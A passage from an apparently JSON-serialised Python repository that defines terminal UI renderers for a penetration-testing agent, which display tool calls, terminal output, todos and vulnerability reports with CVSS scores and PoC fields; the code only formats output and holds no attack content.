output\n        for pattern in STRIP_PATTERNS:\n            cleaned = re.sub(pattern, \"\", cleaned)\n        return cleaned.strip()\n\n    @classmethod\n    def _strip_ansi(cls, text: str) -> str:\n        return ANSI_PATTERN.sub(\"\", text)\n\n    @classmethod\n    def _truncate_line(cls, line: str) -> str:\n        clean_line = cls._strip_ansi(line)\n        if len(clean_line) > MAX_LINE_LENGTH:\n            return clean_line[: MAX_LINE_LENGTH - 3] + \"...\"\n        return clean_line\n\n    @classmethod\n    def _format_output(cls, output: str) -> Text:\n        text = Text()\n        lines = output.splitlines()\n        total_lines = len(lines)\n\n        head_count = MAX_OUTPUT_LINES // 2\n        tail_count = MAX_OUTPUT_LINES - head_count - 1\n\n        if total_lines <= MAX_OUTPUT_LINES:\n            display_lines = lines\n            truncated = False\n            hidden_count = 0\n        else:\n            display_lines = lines[:head_count]\n            truncated = True\n            hidden_count = total_lines - head_count - tail_count\n\n        for i, line in enumerate(display_lines):\n            truncated_line = cls._truncate_line(line)\n            text.append(\"  \")\n            text.append(truncated_line, style=\"dim\")\n            if i < len(display_lines) - 1 or truncated:\n                text.append(\"\\n\")\n\n        if truncated:\n            text.append(f\"  ... {hidden_count} lines truncated ...\", style=\"dim italic\")\n            text.append(\"\\n\")\n            tail_lines = lines[-tail_count:]\n            for i, line in enumerate(tail_lines):\n                truncated_line = cls._truncate_line(line)\n                text.append(\"  \")\n                text.append(truncated_line, style=\"dim\")\n                if i < len(tail_lines) - 1:\n                    text.append(\"\\n\")\n\n        return text\n\n    @classmethod\n    def _append_output(cls, text: Text, result: dict[str, Any] | str) -> None:\n        if isinstance(result, str):\n            if result.strip():\n                text.append(\"\\n\")\n                text.append_text(cls._format_output(result))\n            return\n\n        stdout = result.get(\"stdout\", \"\")\n        stdout = cls._clean_output(stdout) if stdout else \"\"\n\n        if stdout:\n            text.append(\"\\n\")\n            formatted_output = cls._format_output(stdout)\n            text.append_text(formatted_output)\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        args = tool_data.get(\"args\", {})\n        status = tool_data.get(\"status\", \"unknown\")\n        result = tool_data.get(\"result\")\n\n        action = args.get(\"action\", \"\")\n        code = args.get(\"code\", \"\")\n\n        text = Text()\n        text.append(\"</> \", style=\"dim\")\n\n        if code and action in [\"new_session\", \"execute\"]:\n            text.append_text(cls._highlight_python(code))\n        elif action == \"close\":\n            text.append(\"Closing session...\", style=\"dim\")\n        elif action == \"list_sessions\":\n            text.append(\"Listing sessions...\", style=\"dim\")\n        else:\n            text.append(\"Running...\", style=\"dim\")\n\n        if result and isinstance(result, dict | str):\n            cls._append_output(text, result)\n\n        css_classes = cls.get_css_classes(status)\n        return Static(text, classes=css_classes)\n"
  },
  {
    "path": "strix/interface/tool_components/registry.py",
    "content": "from typing import Any, ClassVar\n\nfrom rich.text import Text\nfrom textual.widgets import Static\n\nfrom .base_renderer import BaseToolRenderer\n\n\nclass ToolTUIRegistry:\n    _renderers: ClassVar[dict[str, type[BaseToolRenderer]]] = {}\n\n    @classmethod\n    def register(cls, renderer_class: type[BaseToolRenderer]) -> None:\n        if not renderer_class.tool_name:\n            raise ValueError(f\"Renderer {renderer_class.__name__} must define tool_name\")\n\n        cls._renderers[renderer_class.tool_name] = renderer_class\n\n    @classmethod\n    def get_renderer(cls, tool_name: str) -> type[BaseToolRenderer] | None:\n        return cls._renderers.get(tool_name)\n\n    @classmethod\n    def list_tools(cls) -> list[str]:\n        return list(cls._renderers.keys())\n\n    @classmethod\n    def has_renderer(cls, tool_name: str) -> bool:\n        return tool_name in cls._renderers\n\n\ndef register_tool_renderer(renderer_class: type[BaseToolRenderer]) -> type[BaseToolRenderer]:\n    ToolTUIRegistry.register(renderer_class)\n    return renderer_class\n\n\ndef get_tool_renderer(tool_name: str) -> type[BaseToolRenderer] | None:\n    return ToolTUIRegistry.get_renderer(tool_name)\n\n\ndef render_tool_widget(tool_data: dict[str, Any]) -> Static:\n    tool_name = tool_data.get(\"tool_name\", \"\")\n    renderer = get_tool_renderer(tool_name)\n\n    if renderer:\n        return renderer.render(tool_data)\n    return _render_default_tool_widget(tool_data)\n\n\ndef _render_default_tool_widget(tool_data: dict[str, Any]) -> Static:\n    tool_name = tool_data.get(\"tool_name\", \"Unknown Tool\")\n    args = tool_data.get(\"args\", {})\n    status = tool_data.get(\"status\", \"unknown\")\n    result = tool_data.get(\"result\")\n\n    text = Text()\n\n    text.append(\"→ Using tool \", style=\"dim\")\n    text.append(tool_name, style=\"bold blue\")\n    text.append(\"\\n\")\n\n    for k, v in list(args.items()):\n        str_v = str(v)\n        text.append(\"  \")\n        text.append(k, style=\"dim\")\n        text.append(\": \")\n        text.append(str_v)\n        text.append(\"\\n\")\n\n    if status in [\"completed\", \"failed\", \"error\"] and result is not None:\n        result_str = str(result)\n        text.append(\"Result: \", style=\"bold\")\n        text.append(result_str)\n    else:\n        icon, color = BaseToolRenderer.status_icon(status)\n        text.append(icon, style=color)\n\n    css_classes = BaseToolRenderer.get_css_classes(status)\n    return Static(text, classes=css_classes)\n"
  },
  {
    "path": "strix/interface/tool_components/reporting_renderer.py",
    "content": "from functools import cache\nfrom typing import Any, ClassVar\n\nfrom pygments.lexers import PythonLexer\nfrom pygments.styles import get_style_by_name\nfrom rich.text import Text\nfrom textual.widgets import Static\n\nfrom strix.tools.reporting.reporting_actions import (\n    parse_code_locations_xml,\n    parse_cvss_xml,\n)\n\nfrom .base_renderer import BaseToolRenderer\nfrom .registry import register_tool_renderer\n\n\n@cache\ndef _get_style_colors() -> dict[Any, str]:\n    style = get_style_by_name(\"native\")\n    return {token: f\"#{style_def['color']}\" for token, style_def in style if style_def[\"color\"]}\n\n\nFIELD_STYLE = \"bold #4ade80\"\nDIM_STYLE = \"dim\"\nFILE_STYLE = \"bold #60a5fa\"\nLINE_STYLE = \"#facc15\"\nLABEL_STYLE = \"italic #a1a1aa\"\nCODE_STYLE = \"#e2e8f0\"\nBEFORE_STYLE = \"#ef4444\"\nAFTER_STYLE = \"#22c55e\"\n\n\n@register_tool_renderer\nclass CreateVulnerabilityReportRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"create_vulnerability_report\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"reporting-tool\"]\n\n    SEVERITY_COLORS: ClassVar[dict[str, str]] = {\n        \"critical\": \"#dc2626\",\n        \"high\": \"#ea580c\",\n        \"medium\": \"#d97706\",\n        \"low\": \"#65a30d\",\n        \"info\": \"#0284c7\",\n    }\n\n    @classmethod\n    def _get_token_color(cls, token_type: Any) -> str | None:\n        colors = _get_style_colors()\n        while token_type:\n            if token_type in colors:\n                return colors[token_type]\n            token_type = token_type.parent\n        return None\n\n    @classmethod\n    def _highlight_python(cls, code: str) -> Text:\n        lexer = PythonLexer()\n        text = Text()\n\n        for token_type, token_value in lexer.get_tokens(code):\n            if not token_value:\n                continue\n            color = cls._get_token_color(token_type)\n            text.append(token_value, style=color)\n\n        return text\n\n    @classmethod\n    def _get_cvss_color(cls, cvss_score: float) -> str:\n        if cvss_score >= 9.0:\n            return \"#dc2626\"\n        if cvss_score >= 7.0:\n            return \"#ea580c\"\n        if cvss_score >= 4.0:\n            return \"#d97706\"\n        if cvss_score >= 0.1:\n            return \"#65a30d\"\n        return \"#6b7280\"\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:  # noqa: PLR0912, PLR0915\n        args = tool_data.get(\"args\", {})\n        result = tool_data.get(\"result\", {})\n\n        title = args.get(\"title\", \"\")\n        description = args.get(\"description\", \"\")\n        impact = args.get(\"impact\", \"\")\n        target = args.get(\"target\", \"\")\n        technical_analysis = args.get(\"technical_analysis\", \"\")\n        poc_description = args.get(\"poc_description\", \"\")\n        poc_script_code = args.get(\"poc_script_code\", \"\")\n        remediation_steps = args.get(\"remediation_steps\", \"\")\n\n        cvss_breakdown_xml = args.get(\"cvss_breakdown\", \"\")\n        code_locations_xml = args.get(\"code_locations\", \"\")\n\n        endpoint = args.get(\"endpoint\", \"\")\n        method = args.get(\"method\", \"\")\n        cve = args.get(\"cve\", \"\")\n        cwe = args.get(\"cwe\", \"\")\n\n        severity = \"\"\n        cvss_score = None\n        if isinstance(result, dict):\n            severity = result.get(\"severity\", \"\")\n            cvss_score = result.get(\"cvss_score\")\n\n        text = Text()\n        text.append(\"🐞 \")\n        text.append(\"Vulnerability Report\", style=\"bold #ea580c\")\n\n        if title:\n            text.append(\"\\n\\n\")\n            text.append(\"Title: \", style=FIELD_STYLE)\n            text.append(title)\n\n        if severity:\n            text.append(\"\\n\\n\")\n            text.append(\"Severity: \", style=FIELD_STYLE)\n            severity_color = cls.SEVERITY_COLORS.get(severity.lower(), \"#6b7280\")\n            text.append(severity.upper(), style=f\"bold {severity_color}\")\n\n        if cvss_score is not None:\n            text.append(\"\\n\\n\")\n            text.append(\"CVSS Score: \", style=FIELD_STYLE)\n            cvss_color = cls._get_cvss_color(cvss_score)\n            text.append(str(cvss_score), style=f\"bold {cvss_color}\")\n\n        if target:\n            text.append(\"\\n\\n\")\n            text.append(\"Target: \", style=FIELD_STYLE)\n            text.append(target)\n\n        if endpoint:\n            text.append(\"\\n\\n\")\n            text.append(\"Endpoint: \", style=FIELD_STYLE)\n            text.append(endpoint)\n\n        if method:\n            text.append(\"\\n\\n\")\n            text.append(\"Method: \", style=FIELD_STYLE)\n            text.append(method)\n\n        if cve:\n            text.append(\"\\n\\n\")\n            text.append(\"CVE: \", style=FIELD_STYLE)\n            text.append(cve)\n\n        if cwe:\n            text.append(\"\\n\\n\")\n            text.append(\"CWE: \", style=FIELD_STYLE)\n            text.append(cwe)\n\n        parsed_cvss = parse_cvss_xml(cvss_breakdown_xml) if cvss_breakdown_xml else None\n        if parsed_cvss:\n            text.append(\"\\n\\n\")\n            cvss_parts = []\n            for key, prefix in [\n                (\"attack_vector\", \"AV\"),\n                (\"attack_complexity\", \"AC\"),\n                (\"privileges_required\", \"PR\"),\n                (\"user_interaction\", \"UI\"),\n                (\"scope\", \"S\"),\n                (\"confidentiality\", \"C\"),\n                (\"integrity\", \"I\"),\n                (\"availability\", \"A\"),\n            ]:\n                val = parsed_cvss.get(key)\n                if val:\n                    cvss_parts.append(f\"{prefix}:{val}\")\n            text.append(\"CVSS Vector: \", style=FIELD_STYLE)\n            text.append(\"/\".join(cvss_parts), style=DIM_STYLE)\n\n        if description:\n            text.append(\"\\n\\n\")\n            text.append(\"Description\", style=FIELD_STYLE)\n            text.append(\"\\n\")\n            text.append(description)\n\n        if impact:\n            text.append(\"\\n\\n\")\n            text.append(\"Impact\", style=FIELD_STYLE)\n            text.append(\"\\n\")\n            text.append(impact)\n\n        if technical_analysis:\n            text.append(\"\\n\\n\")\n            text.append(\"Technical Analysis\", style=FIELD_STYLE)\n            text.append(\"\\n\")\n            text.append(technical_analysis)\n\n        parsed_locations = (\n            parse_code_locations_xml(code_locations_xml) if code_locations_xml else None\n        )\n        if parsed_locations:\n            text.append(\"\\n\\n\")\n            text.append(\"Code Locations\", style=FIELD_STYLE)\n            for i, loc in enumerate(parsed_locations):\n                text.append(\"\\n\\n\")\n                text.append(f\"  Location {i + 1}: \", style=DIM_STYLE)\n                text.append(loc.get(\"file\", \"unknown\"), style=FILE_STYLE)\n                start = loc.get(\"start_line\")\n                end = loc.get(\"end_line\")\n                if start is not None:\n                    if end and end != start:\n                        text.append(f\":{start}-{end}\", style=LINE_STYLE)\n                    else:\n                        text.append(f\":{start}\", style=LINE_STYLE)\n                if loc.get(\"label\"):\n                    text.append(f\"\\n  {loc['label']}\", style=LABEL_STYLE)\n                if loc.get(\"snippet\"):\n                    text.append(\"\\n  \")\n                    text.append(loc[\"snippet\"], style=CODE_STYLE)\n                if loc.get(\"fix_before\") or loc.get(\"fix_after\"):\n                    text.append(\"\\n  \")\n                    text.append(\"Fix:\", style=DIM_STYLE)\n                    if loc.get(\"fix_before\"):\n                        text.append(\"\\n  \")\n                        text.append(\"- \", style=BEFORE_STYLE)\n                        text.append(loc[\"fix_before\"], style=BEFORE_STYLE)\n                    if loc.get(\"fix_after\"):\n                        text.append(\"\\n  \")\n                        text.append(\"+ \", style=AFTER_STYLE)\n                        text.append(loc[\"fix_after\"], style=AFTER_STYLE)\n\n        if poc_description:\n            text.append(\"\\n\\n\")\n            text.append(\"PoC Description\", style=FIELD_STYLE)\n            text.append(\"\\n\")\n            text.append(poc_description)\n\n        if poc_script_code:\n            text.append(\"\\n\\n\")\n            text.append(\"PoC Code\", style=FIELD_STYLE)\n            text.append(\"\\n\")\n            text.append_text(cls._highlight_python(poc_script_code))\n\n        if remediation_steps:\n            text.append(\"\\n\\n\")\n            text.append(\"Remediation\", style=FIELD_STYLE)\n            text.append(\"\\n\")\n            text.append(remediation_steps)\n\n        if not title:\n            text.append(\"\\n  \")\n            text.append(\"Creating report...\", style=\"dim\")\n\n        padded = Text()\n        padded.append(\"\\n\\n\")\n        padded.append_text(text)\n        padded.append(\"\\n\\n\")\n\n        css_classes = cls.get_css_classes(\"completed\")\n        return Static(padded, classes=css_classes)\n"
  },
  {
    "path": "strix/interface/tool_components/scan_info_renderer.py",
    "content": "from typing import Any, ClassVar\n\nfrom rich.text import Text\nfrom textual.widgets import Static\n\nfrom .base_renderer import BaseToolRenderer\nfrom .registry import register_tool_renderer\n\n\n@register_tool_renderer\nclass ScanStartInfoRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"scan_start_info\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"scan-info-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        args = tool_data.get(\"args\", {})\n        status = tool_data.get(\"status\", \"unknown\")\n        targets = args.get(\"targets\", [])\n\n        text = Text()\n        text.append(\"◈ \", style=\"#22c55e\")\n        text.append(\"Starting penetration test\")\n\n        if len(targets) == 1:\n            text.append(\" on \")\n            text.append(cls._get_target_display(targets[0]))\n        elif len(targets) > 1:\n            text.append(f\" on {len(targets)} targets\")\n            for target_info in targets:\n                text.append(\"\\n   • \")\n                text.append(cls._get_target_display(target_info))\n\n        css_classes = cls.get_css_classes(status)\n        return Static(text, classes=css_classes)\n\n    @classmethod\n    def _get_target_display(cls, target_info: dict[str, Any]) -> str:\n        original = target_info.get(\"original\")\n        if original:\n            return str(original)\n        return \"unknown target\"\n\n\n@register_tool_renderer\nclass SubagentStartInfoRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"subagent_start_info\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"subagent-info-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        args = tool_data.get(\"args\", {})\n        status = tool_data.get(\"status\", \"unknown\")\n\n        name = str(args.get(\"name\", \"Unknown Agent\"))\n        task = str(args.get(\"task\", \"\"))\n\n        text = Text()\n        text.append(\"◈ \", style=\"#a78bfa\")\n        text.append(\"subagent \", style=\"dim\")\n        text.append(name, style=\"bold #a78bfa\")\n\n        if task:\n            text.append(\"\\n  \")\n            text.append(task, style=\"dim\")\n\n        css_classes = cls.get_css_classes(status)\n        return Static(text, classes=css_classes)\n"
  },
  {
    "path": "strix/interface/tool_components/terminal_renderer.py",
    "content": "import re\nfrom functools import cache\nfrom typing import Any, ClassVar\n\nfrom pygments.lexers import get_lexer_by_name\nfrom pygments.styles import get_style_by_name\nfrom rich.text import Text\nfrom textual.widgets import Static\n\nfrom .base_renderer import BaseToolRenderer\nfrom .registry import register_tool_renderer\n\n\nMAX_OUTPUT_LINES = 50\nMAX_LINE_LENGTH = 200\n\nSTRIP_PATTERNS = [\n    (\n        r\"\\n?\\[Command still running after [\\d.]+s - showing output so far\\.?\"\n        r\"\\s*(?:Use C-c to interrupt if needed\\.)?\\]\"\n    ),\n    r\"^\\[Below is the output of the previous command\\.\\]\\n?\",\n    r\"^No command is currently running\\. Cannot send input\\.$\",\n    (\n        r\"^A command is already running\\. Use is_input=true to send input to it, \"\n        r\"or interrupt it first \\(e\\.g\\., with C-c\\)\\.$\"\n    ),\n]\n\n\n@cache\ndef _get_style_colors() -> dict[Any, str]:\n    style = get_style_by_name(\"native\")\n    return {token: f\"#{style_def['color']}\" for token, style_def in style if style_def[\"color\"]}\n\n\n@register_tool_renderer\nclass TerminalRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"terminal_execute\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"terminal-tool\"]\n\n    CONTROL_SEQUENCES: ClassVar[set[str]] = {\n        \"C-c\",\n        \"C-d\",\n        \"C-z\",\n        \"C-a\",\n        \"C-e\",\n        \"C-k\",\n        \"C-l\",\n        \"C-u\",\n        \"C-w\",\n        \"C-r\",\n        \"C-s\",\n        \"C-t\",\n        \"C-y\",\n        \"^c\",\n        \"^d\",\n        \"^z\",\n        \"^a\",\n        \"^e\",\n        \"^k\",\n        \"^l\",\n        \"^u\",\n        \"^w\",\n        \"^r\",\n        \"^s\",\n        \"^t\",\n        \"^y\",\n    }\n    SPECIAL_KEYS: ClassVar[set[str]] = {\n        \"Enter\",\n        \"Escape\",\n        \"Space\",\n        \"Tab\",\n        \"BTab\",\n        \"BSpace\",\n        \"DC\",\n        \"IC\",\n        \"Up\",\n        \"Down\",\n        \"Left\",\n        \"Right\",\n        \"Home\",\n        \"End\",\n        \"PageUp\",\n        \"PageDown\",\n        \"PgUp\",\n        \"PgDn\",\n        \"PPage\",\n        \"NPage\",\n        \"F1\",\n        \"F2\",\n        \"F3\",\n        \"F4\",\n        \"F5\",\n        \"F6\",\n        \"F7\",\n        \"F8\",\n        \"F9\",\n        \"F10\",\n        \"F11\",\n        \"F12\",\n    }\n\n    @classmethod\n    def _get_token_color(cls, token_type: Any) -> str | None:\n        colors = _get_style_colors()\n        while token_type:\n            if token_type in colors:\n                return colors[token_type]\n            token_type = token_type.parent\n        return None\n\n    @classmethod\n    def _highlight_bash(cls, code: str) -> Text:\n        lexer = get_lexer_by_name(\"bash\")\n        text = Text()\n\n        for token_type, token_value in lexer.get_tokens(code):\n            if not token_value:\n                continue\n            color = cls._get_token_color(token_type)\n            text.append(token_value, style=color)\n\n        return text\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        args = tool_data.get(\"args\", {})\n        status = tool_data.get(\"status\", \"unknown\")\n        result = tool_data.get(\"result\")\n\n        command = args.get(\"command\", \"\")\n        is_input = args.get(\"is_input\", False)\n\n        content = cls._build_content(command, is_input, status, result)\n\n        css_classes = cls.get_css_classes(status)\n        return Static(content, classes=css_classes)\n\n    @classmethod\n    def _build_content(\n        cls, command: str, is_input: bool, status: str, result: dict[str, Any] | str | None\n    ) -> Text:\n        text = Text()\n        terminal_icon = \">_\"\n\n        if not command.strip():\n            text.append(terminal_icon, style=\"dim\")\n            text.append(\" \")\n            text.append(\"getting logs...\", style=\"dim\")\n            if result:\n                cls._append_output(text, result, status, command)\n            return text\n\n        is_special = (\n            command in cls.CONTROL_SEQUENCES\n            or command in cls.SPECIAL_KEYS\n            or command.startswith((\"M-\", \"S-\", \"C-S-\", \"C-M-\", \"S-M-\"))\n        )\n\n        text.append(terminal_icon, style=\"dim\")\n        text.append(\" \")\n\n        if is_special:\n            text.append(command, style=\"#ef4444\")\n        elif is_input:\n            text.append(\">>>\", style=\"#3b82f6\")\n            text.append(\" \")\n            text.append_text(cls._format_command(command))\n        else:\n            text.append(\"$\", style=\"#22c55e\")\n            text.append(\" \")\n            text.append_text(cls._format_command(command))\n\n        if result:\n            cls._append_output(text, result, status, command)\n\n        return text\n\n    @classmethod\n    def _clean_output(cls, output: str, command: str = \"\") -> str:\n        cleaned = output\n\n        for pattern in STRIP_PATTERNS:\n            cleaned = re.sub(pattern, \"\", cleaned, flags=re.MULTILINE)\n\n        if cleaned.strip():\n            lines = cleaned.splitlines()\n            filtered_lines: list[str] = []\n            for line in lines:\n                if not filtered_lines and not line.strip():\n                    continue\n                if re.match(r\"^\\[STRIX_\\d+\\]\\$\\s*\", line):\n                    continue\n                if command and line.strip() == command.strip():\n                    continue\n                if command and re.match(r\"^[\\$#>]\\s*\" + re.escape(command.strip()) + r\"\\s*$\", line):\n                    continue\n                filtered_lines.append(line)\n\n            while filtered_lines and re.match(r\"^\\[STRIX_\\d+\\]\\$\\s*\", filtered_lines[-1]):\n                filtered_lines.pop()\n\n            cleaned = \"\\n\".join(filtered_lines)\n\n        return cleaned.strip()\n\n    @classmethod\n    def _append_output(\n        cls, text: Text, result: dict[str, Any] | str, tool_status: str, command: str = \"\"\n    ) -> None:\n        if isinstance(result, str):\n            if result.strip():\n                text.append(\"\\n\")\n                text.append_text(cls._format_output(result))\n            return\n\n        raw_output = result.get(\"content\", \"\")\n        output = cls._clean_output(raw_output, command)\n        error = result.get(\"error\")\n        exit_code = result.get(\"exit_code\")\n        result_status = result.get(\"status\", \"\")\n\n        if error and not cls._is_status_message(error):\n            text.append(\"\\n\")\n            text.append(\"  error: \", style=\"bold #ef4444\")\n            text.append(cls._truncate_line(error), style=\"#ef4444\")\n            return\n\n        if result_status == \"running\" or tool_status == \"running\":\n            if output and output.strip():\n                text.append(\"\\n\")\n                formatted_output = cls._format_output(output)\n                text.append_text(formatted_output)\n            return\n\n        if not output or not output.strip():\n            if exit_code is not None and exit_code != 0:\n                text.append(\"\\n\")\n                text.append(f\"  exit {exit_code}\", style=\"dim #ef4444\")\n            return\n\n        text.append(\"\\n\")\n        formatted_output = cls._format_output(output)\n        text.append_text(formatted_output)\n\n        if exit_code is not None and exit_code != 0:\n            text.append(\"\\n\")\n            text.append(f\"  exit {exit_code}\", style=\"dim #ef4444\")\n\n    @classmethod\n    def _is_status_message(cls, message: str) -> bool:\n        status_patterns = [\n            r\"No command is currently running\",\n            r\"A command is already running\",\n            r\"Cannot send input\",\n            r\"Use is_input=true\",\n            r\"Use C-c to interrupt\",\n            r\"showing output so far\",\n        ]\n        return any(re.search(pattern, message) for pattern in status_patterns)\n\n    @classmethod\n    def _format_output(cls, output: str) -> Text:\n        text = Text()\n        lines = output.splitlines()\n        total_lines = len(lines)\n\n        head_count = MAX_OUTPUT_LINES // 2\n        tail_count = MAX_OUTPUT_LINES - head_count - 1\n\n        if total_lines <= MAX_OUTPUT_LINES:\n            display_lines = lines\n            truncated = False\n            hidden_count = 0\n        else:\n            display_lines = lines[:head_count]\n            truncated = True\n            hidden_count = total_lines - head_count - tail_count\n\n        for i, line in enumerate(display_lines):\n            truncated_line = cls._truncate_line(line)\n            text.append(\"  \")\n            text.append(truncated_line, style=\"dim\")\n            if i < len(display_lines) - 1 or truncated:\n                text.append(\"\\n\")\n\n        if truncated:\n            text.append(f\"  ... {hidden_count} lines truncated ...\", style=\"dim italic\")\n            text.append(\"\\n\")\n            tail_lines = lines[-tail_count:]\n            for i, line in enumerate(tail_lines):\n                truncated_line = cls._truncate_line(line)\n                text.append(\"  \")\n                text.append(truncated_line, style=\"dim\")\n                if i < len(tail_lines) - 1:\n                    text.append(\"\\n\")\n\n        return text\n\n    @classmethod\n    def _truncate_line(cls, line: str) -> str:\n        clean_line = re.sub(r\"\\x1b\\[[0-9;]*m\", \"\", line)\n        if len(clean_line) > MAX_LINE_LENGTH:\n            return line[: MAX_LINE_LENGTH - 3] + \"...\"\n        return line\n\n    @classmethod\n    def _format_command(cls, command: str) -> Text:\n        return cls._highlight_bash(command)\n"
  },
  {
    "path": "strix/interface/tool_components/thinking_renderer.py",
    "content": "from typing import Any, ClassVar\n\nfrom rich.text import Text\nfrom textual.widgets import Static\n\nfrom .base_renderer import BaseToolRenderer\nfrom .registry import register_tool_renderer\n\n\n@register_tool_renderer\nclass ThinkRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"think\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"thinking-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        args = tool_data.get(\"args\", {})\n        thought = args.get(\"thought\", \"\")\n\n        text = Text()\n        text.append(\"🧠 \")\n        text.append(\"Thinking\", style=\"bold #a855f7\")\n        text.append(\"\\n  \")\n\n        if thought:\n            text.append(thought, style=\"italic dim\")\n        else:\n            text.append(\"Thinking...\", style=\"italic dim\")\n\n        css_classes = cls.get_css_classes(\"completed\")\n        return Static(text, classes=css_classes)\n"
  },
  {
    "path": "strix/interface/tool_components/todo_renderer.py",
    "content": "from typing import Any, ClassVar\n\nfrom rich.text import Text\nfrom textual.widgets import Static\n\nfrom .base_renderer import BaseToolRenderer\nfrom .registry import register_tool_renderer\n\n\nSTATUS_MARKERS: dict[str, str] = {\n    \"pending\": \"[ ]\",\n    \"in_progress\": \"[~]\",\n    \"done\": \"[•]\",\n}\n\n\ndef _format_todo_lines(text: Text, result: dict[str, Any]) -> None:\n    todos = result.get(\"todos\")\n    if not isinstance(todos, list) or not todos:\n        text.append(\"\\n  \")\n        text.append(\"No todos\", style=\"dim\")\n        return\n\n    for todo in todos:\n        status = todo.get(\"status\", \"pending\")\n        marker = STATUS_MARKERS.get(status, STATUS_MARKERS[\"pending\"])\n\n        title = todo.get(\"title\", \"\").strip() or \"(untitled)\"\n\n        text.append(\"\\n  \")\n        text.append(marker)\n        text.append(\" \")\n\n        if status == \"done\":\n            text.append(title, style=\"dim strike\")\n        elif status == \"in_progress\":\n            text.append(title, style=\"italic\")\n        else:\n            text.append(title)\n\n\n@register_tool_renderer\nclass CreateTodoRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"create_todo\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"todo-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        result = tool_data.get(\"result\")\n\n        text = Text()\n        text.append(\"📋 \")\n        text.append(\"Todo\", style=\"bold #a78bfa\")\n\n        if isinstance(result, str) and result.strip():\n            text.append(\"\\n  \")\n            text.append(result.strip(), style=\"dim\")\n        elif result and isinstance(result, dict):\n            if result.get(\"success\"):\n                _format_todo_lines(text, result)\n            else:\n                error = result.get(\"error\", \"Failed to create todo\")\n                text.append(\"\\n  \")\n                text.append(error, style=\"#ef4444\")\n        else:\n            text.append(\"\\n  \")\n            text.append(\"Creating...\", style=\"dim\")\n\n        css_classes = cls.get_css_classes(\"completed\")\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass ListTodosRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"list_todos\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"todo-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        result = tool_data.get(\"result\")\n\n        text = Text()\n        text.append(\"📋 \")\n        text.append(\"Todos\", style=\"bold #a78bfa\")\n\n        if isinstance(result, str) and result.strip():\n            text.append(\"\\n  \")\n            text.append(result.strip(), style=\"dim\")\n        elif result and isinstance(result, dict):\n            if result.get(\"success\"):\n                _format_todo_lines(text, result)\n            else:\n                error = result.get(\"error\", \"Unable to list todos\")\n                text.append(\"\\n  \")\n                text.append(error, style=\"#ef4444\")\n        else:\n            text.append(\"\\n  \")\n            text.append(\"Loading...\", style=\"dim\")\n\n        css_classes = cls.get_css_classes(\"completed\")\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass UpdateTodoRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"update_todo\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"todo-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        result = tool_data.get(\"result\")\n\n        text = Text()\n        text.append(\"📋 \")\n        text.append(\"Todo Updated\", style=\"bold #a78bfa\")\n\n        if isinstance(result, str) and result.strip():\n            text.append(\"\\n  \")\n            text.append(result.strip(), style=\"dim\")\n        elif result and isinstance(result, dict):\n            if result.get(\"success\"):\n                _format_todo_lines(text, result)\n            else:\n                error = result.get(\"error\", \"Failed to update todo\")\n                text.append(\"\\n  \")\n                text.append(error, style=\"#ef4444\")\n        else:\n            text.append(\"\\n  \")\n            text.append(\"Updating...\", style=\"dim\")\n\n        css_classes = cls.get_css_classes(\"completed\")\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass MarkTodoDoneRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"mark_todo_done\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"todo-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        result = tool_data.get(\"result\")\n\n        text = Text()\n        text.append(\"📋 \")\n        text.append(\"Todo Completed\", style=\"bold #a78bfa\")\n\n        if isinstance(result, str) and result.strip():\n            text.append(\"\\n  \")\n            text.append(result.strip(), style=\"dim\")\n        elif result and isinstance(result, dict):\n            if result.get(\"success\"):\n                _format_todo_lines(text, result)\n            else:\n                error = result.get(\"error\", \"Failed to mark todo done\")\n                text.append(\"\\n  \")\n                text.append(error, style=\"#ef4444\")\n        else:\n            text.append(\"\\n  \")\n            text.append(\"Marking done...\", style=\"dim\")\n\n        css_classes = cls.get_css_classes(\"completed\")\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass MarkTodoPendingRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"mark_todo_pending\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"todo-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        result = tool_data.get(\"result\")\n\n        text = Text()\n        text.append(\"📋 \")\n        text.append(\"Todo Reopened\", style=\"bold #f59e0b\")\n\n        if isinstance(result, str) and result.strip():\n            text.append(\"\\n  \")\n            text.append(result.strip(), style=\"dim\")\n        elif result and isinstance(result, dict):\n            if result.get(\"success\"):\n                _format_todo_lines(text, result)\n            else:\n                error = 